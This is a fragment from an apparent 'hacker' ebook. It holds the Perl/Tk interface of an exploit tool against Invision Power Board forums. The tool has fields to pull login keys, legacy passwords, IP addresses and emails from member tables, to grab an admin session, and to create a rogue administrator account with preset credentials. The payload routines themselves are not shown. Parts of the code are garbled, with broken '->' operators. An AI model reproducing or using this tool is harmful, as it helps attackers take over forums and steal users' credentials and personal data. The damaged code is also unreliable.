Hacker Professional Ebook part 383 ppsx

$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;

$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://server/forum/index.php';

$user_id = '1';

$prefix = 'ibf_';

$table = 'members';

$column = 'member_login_key';

$new_admin_name = 'rstghc';

$new_admin_password = 'rstghc';

$new_admin_email = 'billy@microsoft.com';

$report = '';

$group = 4;

$curr_user = 0;

$rand_session = &session();

$use_custom_fields = 0;

$custom_fields = 'name1=value1,name2=value2';

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side =>

"top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft>Label ( text => 'Database tables prefix: ', font => '{Verdana} 8 bold')

->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();

$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief =>

"groove", -variable => \$table, -font => '{Verdana} 8');

$b2->insert("end", "members");

$b2->insert("end", "members_converge");

$b2->pack( -side => "top" , -anchor => 'w');

$fleft>Label ( text => 'Get data from column: ', font => '{Verdana} 8 bold')

->pack ( -side => "top" , -anchor => 'e' ) ;

$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');

$b->insert("end", "member_login_key");

$b->insert("end", "name");

$b->insert("end", "ip_address");

$b->insert("end", "legacy_password");

$b->insert("end", "email");

$b->pack( -side => "top" , -anchor => 'w' );

$fleft>Label ( text => 'Returned data: ', font => '{Verdana} 8 bold') >pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8

bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => ' ')->pack();

$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side

=> "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft>Label ( text => 'new admin password: ', font => '{Verdana} 8 bold')

->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' )

;

$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => ' ')->pack();

$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');

$fleft>Label ( text => 'custom fields: ', font => '{Verdana} 8 bold') >pack ( -side => "top" , -anchor => 'e' ) ;

$fright>Entry ( relief => "groove", width => 35, font => '{Verdana} 8',

-textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();

$fright->Button(-text => 'Test forum vulnerability',

-relief => "groove",

-width => '30',

-font => '{Verdana} 8 bold',

-activeforeground => 'red',

-command => \&test_vuln

)->pack();